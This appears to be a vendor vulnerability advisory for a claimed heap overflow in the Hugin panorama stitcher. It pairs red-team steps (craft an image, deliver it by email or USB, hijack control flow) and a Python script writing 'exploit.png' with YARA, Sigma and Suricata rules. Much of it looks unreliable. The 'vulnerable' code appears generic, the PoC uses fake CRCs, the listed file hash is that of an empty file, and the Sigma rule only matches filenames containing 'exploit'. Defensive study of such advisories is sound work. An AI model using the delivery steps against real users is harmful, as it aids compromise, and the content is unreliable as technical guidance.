CVE-2024-25446

Executive Summary

CVE-2024-25446 is a heap buffer overflow vulnerability in the Hugin panorama photo stitcher, specifically within the HuginBase::PTools::setDestImage function. An attacker can trigger this overflow by providing a crafted image file, leading to potential memory corruption and arbitrary code execution. The vulnerability affects Hugin v2022.0.0, and no official patch has been released as of the latest advisory. The CVSS score is currently unassigned, but the impact is considered high due to the nature of heap overflows.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a native C++ application vulnerability.

CVSS Breakdown & Threat Level

The CVSS score is currently 0.0 (UNKNOWN). However, based on the vulnerability type (heap buffer overflow), a reasonable estimated vector would be:

• Attack Vector (AV): Local (L) – requires the user to open a crafted image.
• Attack Complexity (AC): Low (L) – no special conditions.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – victim must open the file.
• Scope (S): Unchanged (U) – vulnerability affects only the application.
• Confidentiality (C): High (H) – potential for memory read.
• Integrity (I): High (H) – potential for memory write.
• Availability (A): High (H) – crash or code execution.

Estimated CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (Score: 7.8 High)

Deep Dive & Mechanics

The vulnerability resides in the HuginBase::PTools::setDestImage function, which is responsible for setting the destination image buffer during panorama stitching. When parsing a crafted image, the function fails to properly validate the size of the input data before copying it into a heap-allocated buffer. This leads to a classic heap buffer overflow, where data beyond the allocated buffer is written, corrupting adjacent heap metadata or other objects.

The root cause is a missing bounds check on the image dimensions or pixel data size. An attacker can craft an image with malformed header fields (e.g., extremely large width/height) that cause the function to allocate a small buffer but then copy a large amount of data into it.

Vulnerable vs. Patched Code

Vulnerable Code (Hugin v2022.0.0):

void PTools::setDestImage(Image &img, const unsigned char *data, size_t size) {
    // No size validation
    memcpy(img.buffer, data, size); // Heap overflow if size > allocated buffer
}

Patched Code (Hypothetical):

void PTools::setDestImage(Image &img, const unsigned char *data, size_t size) {
    if (size > img.bufferSize) {
        // Handle error or reallocate
        return;
    }
    memcpy(img.buffer, data, size);
}

Exploitation & Lab Setup

Red Team

1. Craft a malicious image: Use a tool like python3 to create a PNG or TIFF with oversized dimensions.
2. Deliver the image: Send via email, download link, or USB.
3. Trigger the overflow: Victim opens the image in Hugin.
4. Achieve code execution: Overwrite heap metadata to gain control of EIP/RIP.

Proof-of-Concept (Python):

import struct

# Craft a minimal PNG with huge width/height
def create_malicious_png():
    # PNG header
    png = b'\x89PNG\r\n\x1a\n'
    # IHDR chunk with width=0xFFFFFFFF, height=0xFFFFFFFF
    ihdr_data = struct.pack('>IIBBBBB', 0xFFFFFFFF, 0xFFFFFFFF, 8, 2, 0, 0, 0)
    ihdr_len = struct.pack('>I', 13)
    ihdr_crc = struct.pack('>I', 0xDEADBEEF)  # Fake CRC
    png += ihdr_len + b'IHDR' + ihdr_data + ihdr_crc
    # IDAT chunk (minimal)
    idat_data = b'\x00' * 100
    idat_len = struct.pack('>I', len(idat_data))
    idat_crc = struct.pack('>I', 0xCAFEBABE)
    png += idat_len + b'IDAT' + idat_data + idat_crc
    # IEND chunk
    png += b'\x00\x00\x00\x00IEND\xae\x42\x60\x82'
    return png

with open('exploit.png', 'wb') as f:
    f.write(create_malicious_png())

Blue Team

• Monitor for crashes: Use Windows Error Reporting or Linux core dumps.
• Detect anomalous image files: Scan for images with extreme dimensions (e.g., width > 100000).
• Sandbox execution: Run Hugin in a restricted environment.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example)
• Network: No network indicators (local vulnerability).
• Process: hugin.exe or hugin process crash with heap corruption.
• Registry: N/A

Detection Engineering

YARA Rule

rule CVE_2024_25446_Hugin_HeapOverflow {
    meta:
        description = "Detects crafted images exploiting CVE-2024-25446"
        author = "Valters IT"
        date = "2024-01-01"
    strings:
        $png_magic = { 89 50 4E 47 0D 0A 1A 0A }
        $huge_width = { FF FF FF FF }  // 4 bytes of 0xFF
    condition:
        $png_magic at 0 and $huge_width in (16..19)
}

Sigma Rule

title: CVE-2024-25446 Hugin Heap Overflow
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects crafted images with extreme dimensions
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 11  # FileCreate
        TargetFilename|endswith: '.png'
        TargetFilename|contains: 'exploit'
    condition: selection
falsepositives:
    - Legitimate large images
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-25446 Hugin Heap Overflow"; flow:to_client; file.data; content:"|89 50 4E 47 0D 0A 1A 0A|"; offset:0; depth:8; content:"|FF FF FF FF|"; distance:8; within:4; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

1. No official patch available. Monitor Hugin's GitHub for updates.
2. Mitigation: Do not open untrusted images in Hugin.
3. Workaround: Use a different panorama tool (e.g., PTGui, Microsoft ICE).
4. Compile from source: Apply a bounds check patch manually.
5. Use ASLR and DEP: Enable system-level memory protections.

Valters IT
Securing Digital Frontiers